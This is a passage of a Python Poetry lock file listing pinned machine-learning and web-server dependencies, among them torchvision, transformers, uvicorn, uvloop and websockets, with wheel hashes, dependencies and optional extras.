(>=3.3)"] + +[package.source] +type = "legacy" +url = "https://download.pytorch.org/whl/cpu" +reference = "torch" + +[[package]] +name = "torchvision" +version = "0.15.2+cpu" +description = "image and video datasets and models for torch deep learning" +optional = false +python-versions = ">=3.8" +files = [ + {file = "torchvision-0.15.2+cpu-cp310-cp310-linux_x86_64.whl", hash = "sha256:aae0be6883d2cd5a23cb544ee0928288a27df0455430ef9dd6e631c5464095f5"}, + {file = "torchvision-0.15.2+cpu-cp310-cp310-win_amd64.whl", hash = "sha256:44d4b8976b5aaf97811ec05cb526531ac08dc5c76c2f5bc1c919b9a653cbc206"}, + {file = "torchvision-0.15.2+cpu-cp311-cp311-linux_x86_64.whl", hash = "sha256:1633c0b7ead69d2cd3fbe8aeaa146c76a68691bd3599facfffd2da925973e044"}, + {file = "torchvision-0.15.2+cpu-cp311-cp311-win_amd64.whl", hash = "sha256:3ec9785df54906d1631c5574ba0df3cc3adcd43286774b93fbe82c97c4714977"}, + {file = "torchvision-0.15.2+cpu-cp38-cp38-linux_x86_64.whl", hash = "sha256:af6bc2c7b0b8b2a32745e56f057a5956caf0d6031a94eb80b283dcd475d8feb0"}, + {file = "torchvision-0.15.2+cpu-cp38-cp38-win_amd64.whl", hash = "sha256:f61cc175f75392c7565ad1144d2e511b14002d061a2fd31a73b045259eb9100e"}, + {file = "torchvision-0.15.2+cpu-cp39-cp39-linux_x86_64.whl", hash = "sha256:e1e3988373afa29c813b140dbb5b7a074214813fd0ef97d2538966b9bd8d92d9"}, + {file = "torchvision-0.15.2+cpu-cp39-cp39-win_amd64.whl", hash = "sha256:b9c2745a966d5ffcad7b17807ef3acf4149f497c80f5f4571f69a1817436e56f"}, +] + +[package.dependencies] +numpy = "*" +pillow = ">=5.3.0,<8.3.dev0 || >=8.4.dev0" +requests = "*" +torch = "2.0.1" + +[package.extras] +scipy = ["scipy"] + +[package.source] +type = "legacy" +url = "https://download.pytorch.org/whl/cpu" +reference = "torch" + +[[package]] +name = "tqdm" +version = "4.65.0" +description = "Fast, Extensible Progress Meter" +optional = false +python-versions = ">=3.7" +files = [ + {file = "tqdm-4.65.0-py3-none-any.whl", hash = "sha256:c4f53a17fe37e132815abceec022631be8ffe1b9381c2e6e30aa70edc99e9671"}, + {file = "tqdm-4.65.0.tar.gz", hash = "sha256:1871fb68a86b8fb3b59ca4cdd3dcccbc7e6d613eeed31f4c332531977b89beb5"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "platform_system == \"Windows\""} + +[package.extras] +dev = ["py-make (>=0.1.0)", "twine", "wheel"] +notebook = ["ipywidgets (>=6)"] +slack = ["slack-sdk"] +telegram = ["requests"] + +[[package]] +name = "transformers" +version = "4.30.2" +description = "State-of-the-art Machine Learning for JAX, PyTorch and TensorFlow" +optional = false +python-versions = ">=3.7.0" +files = [ + {file = "transformers-4.30.2-py3-none-any.whl", hash = "sha256:c332e3a3097f9ed89ce556b403251235931c00237b8bc2d7adaa19d226c13f1d"}, + {file = "transformers-4.30.2.tar.gz", hash = "sha256:f4a8aac4e1baffab4033f4a345b0d7dc7957d12a4f1ba969afea08205a513045"}, +] + +[package.dependencies] +filelock = "*" +huggingface-hub = ">=0.14.1,<1.0" +numpy = ">=1.17" +packaging = ">=20.0" +pyyaml = ">=5.1" +regex = "!=2019.12.17" +requests = "*" +safetensors = ">=0.3.1" +tokenizers = ">=0.11.1,<0.11.3 || >0.11.3,<0.14" +tqdm = ">=4.27" + +[package.extras] +accelerate = ["accelerate (>=0.20.2)"] +agents = ["Pillow", "accelerate (>=0.20.2)", "datasets (!=2.5.0)", "diffusers", "opencv-python", "sentencepiece (>=0.1.91,!=0.1.92)", "torch (>=1.9,!=1.12.0)"] +all = ["Pillow", "accelerate (>=0.20.2)", "av (==9.2.0)", "codecarbon (==1.2.0)", "decord (==0.6.0)", "flax (>=0.4.1,<=0.6.9)", "jax (>=0.2.8,!=0.3.2,<=0.3.6)", "jaxlib (>=0.1.65,<=0.3.6)", "kenlm", "keras-nlp (>=0.3.1)", "librosa", "onnxconverter-common", "optax (>=0.0.8,<=0.1.4)", "optuna", "phonemizer", "protobuf (<=3.20.3)", "pyctcdecode (>=0.4.0)", "ray[tune]", "sentencepiece (>=0.1.91,!=0.1.92)", "sigopt", "tensorflow (>=2.4,<2.13)", "tensorflow-text (<2.13)", "tf2onnx", "timm", "tokenizers (>=0.11.1,!=0.11.3,<0.14)", "torch (>=1.9,!=1.12.0)", "torchaudio", "torchvision"] +audio = ["kenlm", "librosa", "phonemizer", "pyctcdecode (>=0.4.0)"] +codecarbon = ["codecarbon (==1.2.0)"] +deepspeed = ["accelerate (>=0.20.2)", "deepspeed (>=0.8.3)"] +deepspeed-testing = ["GitPython (<3.1.19)", "accelerate (>=0.20.2)", "beautifulsoup4", "black (>=23.1,<24.0)", "cookiecutter (==1.7.3)", "datasets (!=2.5.0)", "deepspeed (>=0.8.3)", "dill (<0.3.5)", "evaluate (>=0.2.0)", "faiss-cpu", "hf-doc-builder (>=0.3.0)", "nltk", "optuna", "parameterized", "protobuf (<=3.20.3)", "psutil", "pytest (>=7.2.0)", "pytest-timeout", "pytest-xdist", "rjieba", "rouge-score (!=0.0.7,!=0.0.8,!=0.1,!=0.1.1)", "sacrebleu (>=1.4.12,<2.0.0)", "sacremoses", "sentencepiece (>=0.1.91,!=0.1.92)", "timeout-decorator"] +dev = ["GitPython (<3.1.19)", "Pillow", "accelerate (>=0.20.2)", "av (==9.2.0)", "beautifulsoup4", "black (>=23.1,<24.0)", "codecarbon (==1.2.0)", "cookiecutter (==1.7.3)", "datasets (!=2.5.0)", "decord (==0.6.0)", "dill (<0.3.5)", "evaluate (>=0.2.0)", "faiss-cpu", "flax (>=0.4.1,<=0.6.9)", "fugashi (>=1.0)", "hf-doc-builder", "hf-doc-builder (>=0.3.0)", "ipadic (>=1.0.0,<2.0)", "isort (>=5.5.4)", "jax (>=0.2.8,!=0.3.2,<=0.3.6)", "jaxlib (>=0.1.65,<=0.3.6)", "kenlm", "keras-nlp (>=0.3.1)", "librosa", "nltk", "onnxconverter-common", "optax (>=0.0.8,<=0.1.4)", "optuna", "parameterized", "phonemizer", "protobuf (<=3.20.3)", "psutil", "pyctcdecode (>=0.4.0)", "pytest (>=7.2.0)", "pytest-timeout", "pytest-xdist", "ray[tune]", "rhoknp (>=1.1.0,<1.3.1)", "rjieba", "rouge-score (!=0.0.7,!=0.0.8,!=0.1,!=0.1.1)", "ruff (>=0.0.241,<=0.0.259)", "sacrebleu (>=1.4.12,<2.0.0)", "sacremoses", "scikit-learn", "sentencepiece (>=0.1.91,!=0.1.92)", "sigopt", "sudachidict-core (>=20220729)", "sudachipy (>=0.6.6)", "tensorflow (>=2.4,<2.13)", "tensorflow-text (<2.13)", "tf2onnx", "timeout-decorator", "timm", "tokenizers (>=0.11.1,!=0.11.3,<0.14)", "torch (>=1.9,!=1.12.0)", "torchaudio", "torchvision", "unidic (>=1.0.2)", "unidic-lite (>=1.0.7)", "urllib3 (<2.0.0)"] +dev-tensorflow = ["GitPython (<3.1.19)", "Pillow", "beautifulsoup4", "black (>=23.1,<24.0)", "cookiecutter (==1.7.3)", "datasets (!=2.5.0)", "dill (<0.3.5)", "evaluate (>=0.2.0)", "faiss-cpu", "hf-doc-builder", "hf-doc-builder (>=0.3.0)", "isort (>=5.5.4)", "kenlm", "keras-nlp (>=0.3.1)", "librosa", "nltk", "onnxconverter-common", "onnxruntime (>=1.4.0)", "onnxruntime-tools (>=1.4.2)", "parameterized", "phonemizer", "protobuf (<=3.20.3)", "psutil", "pyctcdecode (>=0.4.0)", "pytest (>=7.2.0)", "pytest-timeout", "pytest-xdist", "rjieba", "rouge-score (!=0.0.7,!=0.0.8,!=0.1,!=0.1.1)", "ruff (>=0.0.241,<=0.0.259)", "sacrebleu (>=1.4.12,<2.0.0)", "sacremoses", "scikit-learn", "sentencepiece (>=0.1.91,!=0.1.92)", "tensorflow (>=2.4,<2.13)", "tensorflow-text (<2.13)", "tf2onnx", "timeout-decorator", "tokenizers (>=0.11.1,!=0.11.3,<0.14)", "urllib3 (<2.0.0)"] +dev-torch = ["GitPython (<3.1.19)", "Pillow", "accelerate (>=0.20.2)", "beautifulsoup4", "black (>=23.1,<24.0)", "codecarbon (==1.2.0)", "cookiecutter (==1.7.3)", "datasets (!=2.5.0)", "dill (<0.3.5)", "evaluate (>=0.2.0)", "faiss-cpu", "fugashi (>=1.0)", "hf-doc-builder", "hf-doc-builder (>=0.3.0)", "ipadic (>=1.0.0,<2.0)", "isort (>=5.5.4)", "kenlm", "librosa", "nltk", "onnxruntime (>=1.4.0)", "onnxruntime-tools (>=1.4.2)", "optuna", "parameterized", "phonemizer", "protobuf (<=3.20.3)", "psutil", "pyctcdecode (>=0.4.0)", "pytest (>=7.2.0)", "pytest-timeout", "pytest-xdist", "ray[tune]", "rhoknp (>=1.1.0,<1.3.1)", "rjieba", "rouge-score (!=0.0.7,!=0.0.8,!=0.1,!=0.1.1)", "ruff (>=0.0.241,<=0.0.259)", "sacrebleu (>=1.4.12,<2.0.0)", "sacremoses", "scikit-learn", "sentencepiece (>=0.1.91,!=0.1.92)", "sigopt", "sudachidict-core (>=20220729)", "sudachipy (>=0.6.6)", "timeout-decorator", "timm", "tokenizers (>=0.11.1,!=0.11.3,<0.14)", "torch (>=1.9,!=1.12.0)", "torchaudio", "torchvision", "unidic (>=1.0.2)", "unidic-lite (>=1.0.7)", "urllib3 (<2.0.0)"] +docs = ["Pillow", "accelerate (>=0.20.2)", "av (==9.2.0)", "codecarbon (==1.2.0)", "decord (==0.6.0)", "flax (>=0.4.1,<=0.6.9)", "hf-doc-builder", "jax (>=0.2.8,!=0.3.2,<=0.3.6)", "jaxlib (>=0.1.65,<=0.3.6)", "kenlm", "keras-nlp (>=0.3.1)", "librosa", "onnxconverter-common", "optax (>=0.0.8,<=0.1.4)", "optuna", "phonemizer", "protobuf (<=3.20.3)", "pyctcdecode (>=0.4.0)", "ray[tune]", "sentencepiece (>=0.1.91,!=0.1.92)", "sigopt", "tensorflow (>=2.4,<2.13)", "tensorflow-text (<2.13)", "tf2onnx", "timm", "tokenizers (>=0.11.1,!=0.11.3,<0.14)", "torch (>=1.9,!=1.12.0)", "torchaudio", "torchvision"] +docs-specific = ["hf-doc-builder"] +fairscale = ["fairscale (>0.3)"] +flax = ["flax (>=0.4.1,<=0.6.9)", "jax (>=0.2.8,!=0.3.2,<=0.3.6)", "jaxlib (>=0.1.65,<=0.3.6)", "optax (>=0.0.8,<=0.1.4)"] +flax-speech = ["kenlm", "librosa", "phonemizer", "pyctcdecode (>=0.4.0)"] +ftfy = ["ftfy"] +integrations = ["optuna", "ray[tune]", "sigopt"] +ja = ["fugashi (>=1.0)", "ipadic (>=1.0.0,<2.0)", "rhoknp (>=1.1.0,<1.3.1)", "sudachidict-core (>=20220729)", "sudachipy (>=0.6.6)", "unidic (>=1.0.2)", "unidic-lite (>=1.0.7)"] +modelcreation = ["cookiecutter (==1.7.3)"] +natten = ["natten (>=0.14.6)"] +onnx = ["onnxconverter-common", "onnxruntime (>=1.4.0)", "onnxruntime-tools (>=1.4.2)", "tf2onnx"] +onnxruntime = ["onnxruntime (>=1.4.0)", "onnxruntime-tools (>=1.4.2)"] +optuna = ["optuna"] +quality = ["GitPython (<3.1.19)", "black (>=23.1,<24.0)", "datasets (!=2.5.0)", "hf-doc-builder (>=0.3.0)", "isort (>=5.5.4)", "ruff (>=0.0.241,<=0.0.259)", "urllib3 (<2.0.0)"] +ray = ["ray[tune]"] +retrieval = ["datasets (!=2.5.0)", "faiss-cpu"] +sagemaker = ["sagemaker (>=2.31.0)"] +sentencepiece = ["protobuf (<=3.20.3)", "sentencepiece (>=0.1.91,!=0.1.92)"] +serving = ["fastapi", "pydantic", "starlette", "uvicorn"] +sigopt = ["sigopt"] +sklearn = ["scikit-learn"] +speech = ["kenlm", "librosa", "phonemizer", "pyctcdecode (>=0.4.0)", "torchaudio"] +testing = ["GitPython (<3.1.19)", "beautifulsoup4", "black (>=23.1,<24.0)", "cookiecutter (==1.7.3)", "datasets (!=2.5.0)", "dill (<0.3.5)", "evaluate (>=0.2.0)", "faiss-cpu", "hf-doc-builder (>=0.3.0)", "nltk", "parameterized", "protobuf (<=3.20.3)", "psutil", "pytest (>=7.2.0)", "pytest-timeout", "pytest-xdist", "rjieba", "rouge-score (!=0.0.7,!=0.0.8,!=0.1,!=0.1.1)", "sacrebleu (>=1.4.12,<2.0.0)", "sacremoses", "timeout-decorator"] +tf = ["keras-nlp (>=0.3.1)", "onnxconverter-common", "tensorflow (>=2.4,<2.13)", "tensorflow-text (<2.13)", "tf2onnx"] +tf-cpu = ["keras-nlp (>=0.3.1)", "onnxconverter-common", "tensorflow-cpu (>=2.4,<2.13)", "tensorflow-text (<2.13)", "tf2onnx"] +tf-speech = ["kenlm", "librosa", "phonemizer", "pyctcdecode (>=0.4.0)"] +timm = ["timm"] +tokenizers = ["tokenizers (>=0.11.1,!=0.11.3,<0.14)"] +torch = ["accelerate (>=0.20.2)", "torch (>=1.9,!=1.12.0)"] +torch-speech = ["kenlm", "librosa", "phonemizer", "pyctcdecode (>=0.4.0)", "torchaudio"] +torch-vision = ["Pillow", "torchvision"] +torchhub = ["filelock", "huggingface-hub (>=0.14.1,<1.0)", "importlib-metadata", "numpy (>=1.17)", "packaging (>=20.0)", "protobuf (<=3.20.3)", "regex (!=2019.12.17)", "requests", "sentencepiece (>=0.1.91,!=0.1.92)", "tokenizers (>=0.11.1,!=0.11.3,<0.14)", "torch (>=1.9,!=1.12.0)", "tqdm (>=4.27)"] +video = ["av (==9.2.0)", "decord (==0.6.0)"] +vision = ["Pillow"] + +[[package]] +name = "types-protobuf" +version = "4.23.0.1" +description = "Typing stubs for protobuf" +optional = false +python-versions = "*" +files = [ + {file = "types-protobuf-4.23.0.1.tar.gz", hash = "sha256:7bd5ea122a057b11a82b785d9de464932a1e9175fe977a4128adef11d7f35547"}, + {file = "types_protobuf-4.23.0.1-py3-none-any.whl", hash = "sha256:c926104f69ea62103846681b35b690d8d100ecf86c6cdda16c850a1313a272e4"}, +] + +[[package]] +name = "typing-extensions" +version = "4.7.1" +description = "Backported and Experimental Type Hints for Python 3.7+" +optional = false +python-versions = ">=3.7" +files = [ + {file = "typing_extensions-4.7.1-py3-none-any.whl", hash = "sha256:440d5dd3af93b060174bf433bccd69b0babc3b15b1a8dca43789fd7f61514b36"}, + {file = "typing_extensions-4.7.1.tar.gz", hash = "sha256:b75ddc264f0ba5615db7ba217daeb99701ad295353c45f9e95963337ceeeffb2"}, +] + +[[package]] +name = "typing-inspect" +version = "0.9.0" +description = "Runtime inspection utilities for typing module." +optional = false +python-versions = "*" +files = [ + {file = "typing_inspect-0.9.0-py3-none-any.whl", hash = "sha256:9ee6fc59062311ef8547596ab6b955e1b8aa46242d854bfc78f4f6b0eff35f9f"}, + {file = "typing_inspect-0.9.0.tar.gz", hash = "sha256:b23fc42ff6f6ef6954e4852c1fb512cdd18dbea03134f91f856a95ccc9461f78"}, +] + +[package.dependencies] +mypy-extensions = ">=0.3.0" +typing-extensions = ">=3.7.4" + +[[package]] +name = "urllib3" +version = "1.26.16" +description = "HTTP library with thread-safe connection pooling, file post, and more." +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" +files = [ + {file = "urllib3-1.26.16-py2.py3-none-any.whl", hash = "sha256:8d36afa7616d8ab714608411b4a3b13e58f463aee519024578e062e141dce20f"}, + {file = "urllib3-1.26.16.tar.gz", hash = "sha256:8f135f6502756bde6b2a9b28989df5fbe87c9970cecaa69041edcce7f0589b14"}, +] + +[package.extras] +brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)", "brotlipy (>=0.6.0)"] +secure = ["certifi", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "ipaddress", "pyOpenSSL (>=0.14)", "urllib3-secure-extra"] +socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"] + +[[package]] +name = "uvicorn" +version = "0.22.0" +description = "The lightning-fast ASGI server." +optional = false +python-versions = ">=3.7" +files = [ + {file = "uvicorn-0.22.0-py3-none-any.whl", hash = "sha256:e9434d3bbf05f310e762147f769c9f21235ee118ba2d2bf1155a7196448bd996"}, + {file = "uvicorn-0.22.0.tar.gz", hash = "sha256:79277ae03db57ce7d9aa0567830bbb51d7a612f54d6e1e3e92da3ef24c2c8ed8"}, +] + +[package.dependencies] +click = ">=7.0" +colorama = {version = ">=0.4", optional = true, markers = "sys_platform == \"win32\" and extra == \"standard\""} +h11 = ">=0.8" +httptools = {version = ">=0.5.0", optional = true, markers = "extra == \"standard\""} +python-dotenv = {version = ">=0.13", optional = true, markers = "extra == \"standard\""} +pyyaml = {version = ">=5.1", optional = true, markers = "extra == \"standard\""} +uvloop = {version = ">=0.14.0,<0.15.0 || >0.15.0,<0.15.1 || >0.15.1", optional = true, markers = "(sys_platform != \"win32\" and sys_platform != \"cygwin\") and platform_python_implementation != \"PyPy\" and extra == \"standard\""} +watchfiles = {version = ">=0.13", optional = true, markers = "extra == \"standard\""} +websockets = {version = ">=10.4", optional = true, markers = "extra == \"standard\""} + +[package.extras] +standard = ["colorama (>=0.4)", "httptools (>=0.5.0)", "python-dotenv (>=0.13)", "pyyaml (>=5.1)", "uvloop (>=0.14.0,!=0.15.0,!=0.15.1)", "watchfiles (>=0.13)", "websockets (>=10.4)"] + +[[package]] +name = "uvloop" +version = "0.17.0" +description = "Fast implementation of asyncio event loop on top of libuv" +optional = false +python-versions = ">=3.7" +files = [ + {file = "uvloop-0.17.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ce9f61938d7155f79d3cb2ffa663147d4a76d16e08f65e2c66b77bd41b356718"}, + {file = "uvloop-0.17.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:68532f4349fd3900b839f588972b3392ee56042e440dd5873dfbbcd2cc67617c"}, + {file = "uvloop-0.17.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0949caf774b9fcefc7c5756bacbbbd3fc4c05a6b7eebc7c7ad6f825b23998d6d"}, + {file = "uvloop-0.17.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ff3d00b70ce95adce264462c930fbaecb29718ba6563db354608f37e49e09024"}, + {file = "uvloop-0.17.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:a5abddb3558d3f0a78949c750644a67be31e47936042d4f6c888dd6f3c95f4aa"}, + {file = "uvloop-0.17.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:8efcadc5a0003d3a6e887ccc1fb44dec25594f117a94e3127954c05cf144d811"}, + {file = "uvloop-0.17.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3378eb62c63bf336ae2070599e49089005771cc651c8769aaad72d1bd9385a7c"}, + {file = "uvloop-0.17.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6aafa5a78b9e62493539456f8b646f85abc7093dd997f4976bb105537cf2635e"}, + {file = "uvloop-0.17.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c686a47d57ca910a2572fddfe9912819880b8765e2f01dc0dd12a9bf8573e539"}, + {file = "uvloop-0.17.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:864e1197139d651a76c81757db5eb199db8866e13acb0dfe96e6fc5d1cf45fc4"}, + {file = "uvloop-0.17.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:2a6149e1defac0faf505406259561bc14b034cdf1d4711a3ddcdfbaa8d825a05"}, + {file = "uvloop-0.17.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6708f30db9117f115eadc4f125c2a10c1a50d711461699a0cbfaa45b9a78e376"}, + {file = "uvloop-0.17.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:23609ca361a7fc587031429fa25ad2ed7242941adec948f9d10c045bfecab06b"}, + {file = "uvloop-0.17.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2deae0b0fb00a6af41fe60a675cec079615b01d68beb4cc7b722424406b126a8"}, + {file = "uvloop-0.17.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:45cea33b208971e87a31c17622e4b440cac231766ec11e5d22c76fab3bf9df62"}, + {file = "uvloop-0.17.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:9b09e0f0ac29eee0451d71798878eae5a4e6a91aa275e114037b27f7db72702d"}, + {file = "uvloop-0.17.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:dbbaf9da2ee98ee2531e0c780455f2841e4675ff580ecf93fe5c48fe733b5667"}, + {file = "uvloop-0.17.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:a4aee22ece20958888eedbad20e4dbb03c37533e010fb824161b4f05e641f738"}, + {file = "uvloop-0.17.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:307958f9fc5c8bb01fad752d1345168c0abc5d62c1b72a4a8c6c06f042b45b20"}, + {file = "uvloop-0.17.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3ebeeec6a6641d0adb2ea71dcfb76017602ee2bfd8213e3fcc18d8f699c5104f"}, + {file = "uvloop-0.17.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1436c8673c1563422213ac6907789ecb2b070f5939b9cbff9ef7113f2b531595"}, + {file = "uvloop-0.17.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:8887d675a64cfc59f4ecd34382e5b4f0ef4ae1da37ed665adba0c2badf0d6578"}, + {file = "uvloop-0.17.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:3db8de10ed684995a7f34a001f15b374c230f7655ae840964d51496e2f8a8474"}, + {file = "uvloop-0.17.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:7d37dccc7ae63e61f7b96ee2e19c40f153ba6ce730d8ba4d3b4e9738c1dccc1b"}, + {file = "uvloop-0.17.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:cbbe908fda687e39afd6ea2a2f14c2c3e43f2ca88e3a11964b297822358d0e6c"}, + {file = "uvloop-0.17.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d97672dc709fa4447ab83276f344a165075fd9f366a97b712bdd3fee05efae8"}, + {file = "uvloop-0.17.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f1e507c9ee39c61bfddd79714e4f85900656db1aec4d40c6de55648e85c2799c"}, + {file = "uvloop-0.17.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:c092a2c1e736086d59ac8e41f9c98f26bbf9b9222a76f21af9dfe949b99b2eb9"}, + {file = "uvloop-0.17.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:30babd84706115626ea78ea5dbc7dd8d0d01a2e9f9b306d24ca4ed5796c66ded"}, + {file = "uvloop-0.17.0.tar.gz", hash = "sha256:0ddf6baf9cf11a1a22c71487f39f15b2cf78eb5bde7e5b45fbb99e8a9d91b9e1"}, +] + +[package.extras] +dev = ["Cython (>=0.29.32,<0.30.0)", "Sphinx (>=4.1.2,<4.2.0)", "aiohttp", "flake8 (>=3.9.2,<3.10.0)", "mypy (>=0.800)", "psutil", "pyOpenSSL (>=22.0.0,<22.1.0)", "pycodestyle (>=2.7.0,<2.8.0)", "pytest (>=3.6.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"] +docs = ["Sphinx (>=4.1.2,<4.2.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"] +test = ["Cython (>=0.29.32,<0.30.0)", "aiohttp", "flake8 (>=3.9.2,<3.10.0)", "mypy (>=0.800)", "psutil", "pyOpenSSL (>=22.0.0,<22.1.0)", "pycodestyle (>=2.7.0,<2.8.0)"] + +[[package]] +name = "watchfiles" +version = "0.19.0" +description = "Simple, modern and high performance file watching and code reload in python." +optional = false +python-versions = ">=3.7" +files = [ + {file = "watchfiles-0.19.0-cp37-abi3-macosx_10_7_x86_64.whl", hash = "sha256:91633e64712df3051ca454ca7d1b976baf842d7a3640b87622b323c55f3345e7"}, + {file = "watchfiles-0.19.0-cp37-abi3-macosx_11_0_arm64.whl", hash = "sha256:b6577b8c6c8701ba8642ea9335a129836347894b666dd1ec2226830e263909d3"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:18b28f6ad871b82df9542ff958d0c86bb0d8310bb09eb8e87d97318a3b5273af"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fac19dc9cbc34052394dbe81e149411a62e71999c0a19e1e09ce537867f95ae0"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:09ea3397aecbc81c19ed7f025e051a7387feefdb789cf768ff994c1228182fda"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c0376deac92377817e4fb8f347bf559b7d44ff556d9bc6f6208dd3f79f104aaf"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9c75eff897786ee262c9f17a48886f4e98e6cfd335e011c591c305e5d083c056"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cb5d45c4143c1dd60f98a16187fd123eda7248f84ef22244818c18d531a249d1"}, + {file = "watchfiles-0.19.0-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:79c533ff593db861ae23436541f481ec896ee3da4e5db8962429b441bbaae16e"}, + {file = "watchfiles-0.19.0-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:3d7d267d27aceeeaa3de0dd161a0d64f0a282264d592e335fff7958cc0cbae7c"}, + {file = "watchfiles-0.19.0-cp37-abi3-win32.whl", hash = "sha256:176a9a7641ec2c97b24455135d58012a5be5c6217fc4d5fef0b2b9f75dbf5154"}, + {file = "watchfiles-0.19.0-cp37-abi3-win_amd64.whl", hash = "sha256:945be0baa3e2440151eb3718fd8846751e8b51d8de7b884c90b17d271d34cae8"}, + {file = "watchfiles-0.19.0-cp37-abi3-win_arm64.whl", hash = "sha256:0089c6dc24d436b373c3c57657bf4f9a453b13767150d17284fc6162b2791911"}, + {file = "watchfiles-0.19.0-pp38-pypy38_pp73-macosx_10_7_x86_64.whl", hash = "sha256:cae3dde0b4b2078f31527acff6f486e23abed307ba4d3932466ba7cdd5ecec79"}, + {file = "watchfiles-0.19.0-pp38-pypy38_pp73-macosx_11_0_arm64.whl", hash = "sha256:7f3920b1285a7d3ce898e303d84791b7bf40d57b7695ad549dc04e6a44c9f120"}, + {file = "watchfiles-0.19.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9afd0d69429172c796164fd7fe8e821ade9be983f51c659a38da3faaaaac44dc"}, + {file = "watchfiles-0.19.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:68dce92b29575dda0f8d30c11742a8e2b9b8ec768ae414b54f7453f27bdf9545"}, + {file = "watchfiles-0.19.0-pp39-pypy39_pp73-macosx_10_7_x86_64.whl", hash = "sha256:5569fc7f967429d4bc87e355cdfdcee6aabe4b620801e2cf5805ea245c06097c"}, + {file = "watchfiles-0.19.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:5471582658ea56fca122c0f0d0116a36807c63fefd6fdc92c71ca9a4491b6b48"}, + {file = "watchfiles-0.19.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b538014a87f94d92f98f34d3e6d2635478e6be6423a9ea53e4dd96210065e193"}, + {file = "watchfiles-0.19.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:20b44221764955b1e703f012c74015306fb7e79a00c15370785f309b1ed9aa8d"}, + {file = "watchfiles-0.19.0.tar.gz", hash = "sha256:d9b073073e048081e502b6c6b0b88714c026a1a4c890569238d04aca5f9ca74b"}, +] + +[package.dependencies] +anyio = ">=3.0.0" + +[[package]] +name = "websockets" +version = "11.0.3" +description = "An implementation of the WebSocket Protocol (RFC 6455 & 7692)" +optional = false +python-versions = ">=3.7" +files = [ + {file = "websockets-11.0.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:3ccc8a0c387629aec40f2fc9fdcb4b9d5431954f934da3eaf16cdc94f67dbfac"}, + {file = "websockets-11.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d67ac60a307f760c6e65dad586f556dde58e683fab03323221a4e530ead6f74d"}, + {file = "websockets-11.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:84d27a4832cc1a0ee07cdcf2b0629a8a72db73f4cf6de6f0904f6661227f256f"}, + {file = "websockets-11.0.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ffd7dcaf744f25f82190856bc26ed81721508fc5cbf2a330751e135ff1283564"}, + {file = 